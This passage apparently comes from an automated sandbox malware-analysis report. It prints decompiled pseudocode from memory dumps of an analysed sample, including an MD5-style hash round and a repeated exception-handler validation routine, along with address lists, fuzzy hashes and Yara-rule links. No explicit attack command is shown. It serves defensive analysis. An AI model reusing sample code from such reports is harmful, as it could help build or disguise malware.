				_t382 = (( !_t253 | _t742) ^ _t434) + _v56 + _t380 - 0x36c5fc7 + _t742;
				asm("rol eax, 0x6");
				_t255 = (( !_t434 | _t382) ^ _t742) + _v28 + _t253 + 0x655b59c3 + _t382;
				asm("rol edx, 0xa");
				_t436 = (( !_t742 | _t255) ^ _t382) + _v64 + _t434 - 0x70f3336e + _t255;
				asm("rol esi, 0xf");
				_t744 = (( !_t382 | _t436) ^ _t255) + _v36 + _t742 - 0x100b83 + _t436;
				asm("ror ecx, 0xb");
				_t384 = (( !_t255 | _t744) ^ _t436) + _v72 + _t382 - 0x7a7ba22f + _t744;
				asm("rol eax, 0x6");
				_t257 = (( !_t436 | _t384) ^ _t744) + _v44 + _t255 + 0x6fa87e4f + _t384;
				asm("rol edx, 0xa");
				_t438 = (( !_t744 | _t257) ^ _t384) + _v16 + _t436 - 0x1d31920 + _t257;
				asm("rol esi, 0xf");
				_t746 = (( !_t384 | _t438) ^ _t257) + _v52 + _t744 - 0x5cfebcec + _t438;
				asm("ror edi, 0xb");
				_t679 = (( !_t257 | _t746) ^ _t438) + _v24 + _t384 + 0x4e0811a1 + _t746;
				asm("rol eax, 0x6");
				_t259 = (( !_t438 | _t679) ^ _t746) + _v60 + _t257 - 0x8ac817e + _t679;
				asm("rol edx, 0xa");
				_t440 = (( !_t746 | _t259) ^ _t679) + _v32 + _t438 - 0x42c50dcb + _t259;
				_t400 = _a4;
				asm("rol esi, 0xf");
				_t748 = (( !_t679 | _t440) ^ _t259) + _v68 + _t746 + 0x2ad7d2bb + _t440;
				 *_t400 =  *_t400 + _t259;
				asm("ror eax, 0xb");
				 *((intOrPtr*)(_t400 + 4)) = (( !_t259 | _t748) ^ _t440) + _v40 + _t679 - 0x14792c6f +  *((intOrPtr*)(_t400 + 4)) + _t748;
				 *((intOrPtr*)(_t400 + 8)) =  *((intOrPtr*)(_t400 + 8)) + _t748;
				 *((intOrPtr*)(_t400 + 0xc)) =  *((intOrPtr*)(_t400 + 0xc)) + _t440;
				return memset( &_v76, 0, 0x40);
			}

0x01403ee4
0x01403eef
0x01403ef2
0x01403ef5
0x01403ef6
0x01403f14
0x01403f16
0x01403f19
0x01403f1c
0x01403f1c
0x01403f1f
0x01403f1f
0x01403f22
0x01403f22
0x01403f25
0x01403f25
0x01403f42
0x01403f45
0x01403f5b
0x01403f5e
0x01403f78
0x01403f7b
0x01403f91
0x01403f94
0x01403f96
0x01403fae
0x01403fb1
0x01403fb4
0x01403fcc
0x01403fcf
0x01403fe9
0x01403fec
0x01404002
0x01404005
0x01404007
0x0140401f
0x01404024
0x01404027
0x0140403d
0x01404040
0x0140405a
0x0140405d
0x01404073
0x01404076
0x01404078
0x01404093
0x01404096
0x014040ad
0x014040b0
0x014040b4
0x014040cd
0x014040d0
0x014040d2
0x014040d5
0x014040f0
0x014040f3
0x0140410c
0x0140410f
0x0140411f
0x01404122
0x0140413a
0x0140413d
0x01404157
0x0140415a
0x01404172
0x01404175
0x0140418b
0x0140418e
0x014041a6
0x014041a9
0x014041c1
0x014041c4
0x014041de
0x014041e1
0x014041f7
0x014041fa
0x01404212
0x01404215
0x0140422f
0x01404232
0x0140424a
0x0140424d
0x01404263
0x01404266
0x0140427e
0x01404281
0x01404299
0x0140429c
0x014042ae
0x014042b1
0x014042c3
0x014042c6
0x014042d8
0x014042db
0x014042df
0x014042ef
0x014042f2
0x01404300
0x01404303
0x01404315
0x01404318
0x0140432c
0x0140432f
0x01404331
0x01404341
0x01404344
0x01404356
0x01404359
0x01404367
0x0140436a
0x0140437c
0x0140437f
0x01404383
0x01404393
0x01404396
0x014043a8
0x014043ab
0x014043b9
0x014043bc
0x014043ce
0x014043d1
0x014043e3
0x014043e6
0x014043fa
0x014043fd
0x01404411
0x01404414
0x01404428
0x0140442b
0x0140443f
0x01404442
0x01404456
0x01404459
0x0140446d
0x01404472
0x01404484
0x01404487
0x0140449b
0x0140449e
0x014044b2
0x014044b5
0x014044cb
0x014044ce
0x014044e2
0x014044e5
0x014044f7
0x014044fa
0x0140450e
0x01404511
0x01404525
0x01404528
0x0140453c
0x01404545
0x01404548
0x01404551
0x0140455a
0x01404562
0x0140456a
0x01404574
0x01404589

APIs

memset.NTDLL ref: 0140457D

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 5864f7f053b59604e316aa71edbfeb0c2904e5abfb6a348cfb0d8265a6a32ea9
Instruction ID: 71701304682caa6a6451d8606c4256424ef77a87923e638fe626df3870095dc0
Opcode Fuzzy Hash: 5864f7f053b59604e316aa71edbfeb0c2904e5abfb6a348cfb0d8265a6a32ea9
Instruction Fuzzy Hash: 3022857BE516169BDB08CA95CC805E9B3E3BBC832471F9179C919E3305EE797A0786C0

Uniqueness

Uniqueness Score: -1.00%

Function 100023A5, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100023A5(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x10004178;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x100041c0 = 1;
										__eflags =  *0x100041c0;
										if( *0x100041c0 != 0) {
											goto L60;
										}
										_t84 =  *0x10004178;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x100041c0 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x10004178 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x10004180 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x1000417c + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x100041c0 = 1;
							__eflags =  *0x100041c0;
							if( *0x100041c0 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x100041c0 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x10004180 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x10004178 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x10004180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x10004180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x100023af
0x100023b2
0x100023b8
0x100023d6
0x00000000
0x100023d6
0x100023c0
0x100023c9
0x100023cf
0x100023de
0x100023e1
0x100023e4
0x100023ee
0x100023ee
0x100023f0
0x100023f3
0x100023f5
0x100023f5
0x100023f7
0x100023fa
0x00000000
0x00000000
0x100023fc
0x100023fe
0x10002464
0x10002464
0x100025c2
0x00000000
0x100025c2
0x10002400
0x10002400
0x10002404
0x10002406
0x10002406
0x10002406
0x10002406
0x10002409
0x1000240a
0x1000240d
0x1000240d
0x10002411
0x10002415
0x10002423
0x10002423
0x1000242b
0x10002431
0x10002433
0x10002435
0x10002445
0x10002452
0x10002456
0x1000245b
0x1000245d
0x100024db
0x100024db
0x1000245f
0x1000245f
0x1000245f
0x100024dd
0x100024df
0x100025c0
0x100025c0
0x00000000
0x100024e5
0x100024e5
0x100024ec
0x00000000
0x00000000
0x100024f2
0x100024f6
0x10002552
0x10002554
0x1000255c
0x1000255e
0x10002560
0x00000000
0x00000000
0x10002562
0x10002568
0x1000256a
0x1000256c
0x10002581
0x10002581
0x10002583
0x100025b2
0x100025b9
0x00000000
0x100025b9
0x10002587
0x10002588
0x1000258a
0x1000258c
0x1000258c
0x1000258e
0x10002590
0x10002592
0x100025a6
0x100025a6
0x100025a9
0x100025ab
0x100025ab
0x100025ac
0x100025ac
0x00000000
0x10002594
0x10002594
0x10002594
0x1000259d
0x1000259e
0x100025a0
0x100025a2
0x100025a2
0x00000000
0x10002594
0x10002592
0x1000256e
0x10002575
0x10002575
0x10002577
0x00000000
0x00000000
0x10002579
0x1000257a
0x1000257d
0x1000257f
0x00000000
0x00000000
0x00000000
0x1000257f
0x00000000
0x10002575
0x100024f8
0x100024fb
0x10002500
0x00000000
0x00000000
0x10002509
0x1000250b
0x10002511
0x00000000
0x00000000
0x10002517
0x1000251d
0x00000000
0x00000000
0x10002523
0x10002525
0x1000252e
0x10002532
0x00000000
0x00000000
0x10002538
0x1000253b
0x1000253d
0x00000000
0x00000000
0x10002544
0x10002546
0x00000000
0x00000000
0x10002548
0x1000254c
0x00000000
0x00000000
0x00000000
0x1000254c
0x00000000
0x00000000
0x00000000
0x10002437
0x10002437
0x10002437
0x1000243e
0x00000000
0x00000000
0x10002440
0x10002441
0x10002443
0x00000000
0x00000000
0x00000000
0x10002443
0x1000246b
0x1000246d
0x00000000
0x00000000
0x1000247d
0x1000247f
0x10002481
0x00000000
0x00000000
0x10002487
0x1000248e
0x100024ba
0x100024ba
0x100024bc
0x100024be
0x100024d2
0x100024d4
0x00000000
0x00000000
0x00000000
0x00000000
0x100024c0
0x100024c0
0x100024c0
0x100024c9
0x100024ca
0x100024cc
0x100024ce
0x100024ce
0x00000000
0x100024c0
0x10002490
0x10002493
0x10002495
0x100024a7
0x100024a7
0x100024aa
0x100024ac
0x100024ac
0x100024ad
0x100024ad
0x100024b3
0x00000000
0x00000000
0x00000000
0x00000000
0x10002497
0x10002497
0x10002497
0x1000249e
0x00000000
0x00000000
0x100024a0
0x100024a0
0x100024a1
0x00000000
0x00000000
0x00000000
0x100024a1
0x100024a3
0x100024a5
0x100024b8
0x00000000
0x00000000
0x00000000
0x100024b8
0x00000000
0x100024a5
0x10002417
0x1000241a
0x1000241d
0x00000000
0x00000000
0x1000241f
0x10002421
0x00000000
0x00000000
0x00000000
0x10002421
0x100023e6
0x100023e8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 10002456

Memory Dump Source

Source File: 00000000.00000002.497616877.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.497593302.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497662482.0000000010003000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.497710590.0000000010005000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.497734252.0000000010006000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: f62d227e9841d083b4fdee57b41ca73a4ae578112d3fc6a9bbbab911f867f479
Instruction ID: d6971719ee8f1b9f11e38fe3953f76bbe497b20de1934e034d516acabf99b4ad
Opcode Fuzzy Hash: f62d227e9841d083b4fdee57b41ca73a4ae578112d3fc6a9bbbab911f867f479
Instruction Fuzzy Hash: AC61EE70A00A56DFFB19CF28DCE065933E5EB853D5F228469D806C729DEB30DD828754

Uniqueness

Uniqueness Score: -1.00%

Function 0140B1A5, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0140B1A5(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x140d2e0; // 0x0
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x140d328 = 1;
										__eflags =  *0x140d328;
										if( *0x140d328 != 0) {
											goto L60;
										}
										_t84 =  *0x140d2e0; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x140d328 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x140d2e0 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x140d2e8 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x140d2e4 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x140d2e8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x140d2e8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x140d328 = 1;
							__eflags =  *0x140d328;
							if( *0x140d328 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x140d2e8 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x140d2e8 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x140d328 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x140d2e8 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x140d2e0 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x140d2e8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x140d2e8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x0140b1af
0x0140b1b2
0x0140b1b8
0x0140b1d6
0x00000000
0x0140b1d6
0x0140b1c0
0x0140b1c9
0x0140b1cf
0x0140b1de
0x0140b1e1
0x0140b1e4
0x0140b1ee
0x0140b1ee
0x0140b1f0
0x0140b1f3
0x0140b1f5
0x0140b1f5
0x0140b1f7
0x0140b1fa
0x00000000
0x00000000
0x0140b1fc
0x0140b1fe
0x0140b264
0x0140b264
0x0140b3c2
0x00000000
0x0140b3c2
0x0140b200
0x0140b200
0x0140b204
0x0140b206
0x0140b206
0x0140b206
0x0140b206
0x0140b209
0x0140b20a
0x0140b20d
0x0140b20d
0x0140b211
0x0140b215
0x0140b223
0x0140b223
0x0140b22b
0x0140b231
0x0140b233
0x0140b235
0x0140b245
0x0140b252
0x0140b256
0x0140b25b
0x0140b25d
0x0140b2db
0x0140b2db
0x0140b25f
0x0140b25f
0x0140b25f
0x0140b2dd
0x0140b2df
0x0140b3c0
0x0140b3c0
0x00000000
0x0140b2e5
0x0140b2e5
0x0140b2ec
0x00000000
0x00000000
0x0140b2f2
0x0140b2f6
0x0140b352
0x0140b354
0x0140b35c
0x0140b35e
0x0140b360
0x00000000
0x00000000
0x0140b362
0x0140b368
0x0140b36a
0x0140b36c
0x0140b381
0x0140b381
0x0140b383
0x0140b3b2
0x0140b3b9
0x00000000
0x0140b3b9
0x0140b387
0x0140b388
0x0140b38a
0x0140b38c
0x0140b38c
0x0140b38e
0x0140b390
0x0140b392
0x0140b3a6
0x0140b3a6
0x0140b3a9
0x0140b3ab
0x0140b3ab
0x0140b3ac
0x0140b3ac
0x00000000
0x0140b394
0x0140b394
0x0140b394
0x0140b39d
0x0140b39e
0x0140b3a0
0x0140b3a2
0x0140b3a2
0x00000000
0x0140b394
0x0140b392
0x0140b36e
0x0140b375
0x0140b375
0x0140b377
0x00000000
0x00000000
0x0140b379
0x0140b37a
0x0140b37d
0x0140b37f
0x00000000
0x00000000
0x00000000
0x0140b37f
0x00000000
0x0140b375
0x0140b2f8
0x0140b2fb
0x0140b300
0x00000000
0x00000000
0x0140b309
0x0140b30b
0x0140b311
0x00000000
0x00000000
0x0140b317
0x0140b31d
0x00000000
0x00000000
0x0140b323
0x0140b325
0x0140b32e
0x0140b332
0x00000000
0x00000000
0x0140b338
0x0140b33b
0x0140b33d
0x00000000
0x00000000
0x0140b344
0x0140b346
0x00000000
0x00000000
0x0140b348
0x0140b34c
0x00000000
0x00000000
0x00000000
0x0140b34c
0x00000000
0x00000000
0x00000000
0x0140b237
0x0140b237
0x0140b237
0x0140b23e
0x00000000
0x00000000
0x0140b240
0x0140b241
0x0140b243
0x00000000
0x00000000
0x00000000
0x0140b243
0x0140b26b
0x0140b26d
0x00000000
0x00000000
0x0140b27d
0x0140b27f
0x0140b281
0x00000000
0x00000000
0x0140b287
0x0140b28e
0x0140b2ba
0x0140b2ba
0x0140b2bc
0x0140b2be
0x0140b2d2
0x0140b2d4
0x00000000
0x00000000
0x00000000
0x00000000
0x0140b2c0
0x0140b2c0
0x0140b2c0
0x0140b2c9
0x0140b2ca
0x0140b2cc
0x0140b2ce
0x0140b2ce
0x00000000
0x0140b2c0
0x0140b290
0x0140b290
0x0140b293
0x0140b295
0x0140b2a7
0x0140b2a7
0x0140b2aa
0x0140b2ac
0x0140b2ac
0x0140b2ad
0x0140b2ad
0x0140b2b3
0x0140b2b3
0x00000000
0x00000000
0x00000000
0x00000000
0x0140b297
0x0140b297
0x0140b297
0x0140b29e
0x00000000
0x00000000
0x0140b2a0
0x0140b2a0
0x0140b2a1
0x00000000
0x00000000
0x00000000
0x0140b2a1
0x0140b2a3
0x0140b2a5
0x0140b2b8
0x00000000
0x00000000
0x00000000
0x0140b2b8
0x00000000
0x0140b2a5
0x0140b217
0x0140b21a
0x0140b21d
0x00000000
0x00000000
0x0140b21f
0x0140b221
0x00000000
0x00000000
0x00000000
0x0140b221
0x0140b1e6
0x0140b1e8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 0140B256

Memory Dump Source

Source File: 00000000.00000002.490988576.0000000001401000.00000020.00000001.sdmp, Offset: 01400000, based on PE: true

Associated: 00000000.00000002.490939945.0000000001400000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491386586.000000000140C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.491449877.000000000140D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.491530336.000000000140F000.00000002.00000001.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: 1c0a598d0dcc2c9d74c8dd7968847acb4c7cb3d0ba1d26c60fdfe11cce613303
Instruction ID: 2e8fe27f5bcdcbb37d5aeb871c094376e375758e6f72e6b45daefaece2af11dd
Opcode Fuzzy Hash: 1c0a598d0dcc2c9d74c8dd7968847acb4c7cb3d0ba1d26c60fdfe11cce613303
Instruction Fuzzy Hash: E561C338A006068BDB2BCBAFC98463A77A1EB85354B24853FD955CB2F5E730D842874C

Uniqueness

Uniqueness Score: -1.00%

Function 10002184, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E10002184(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
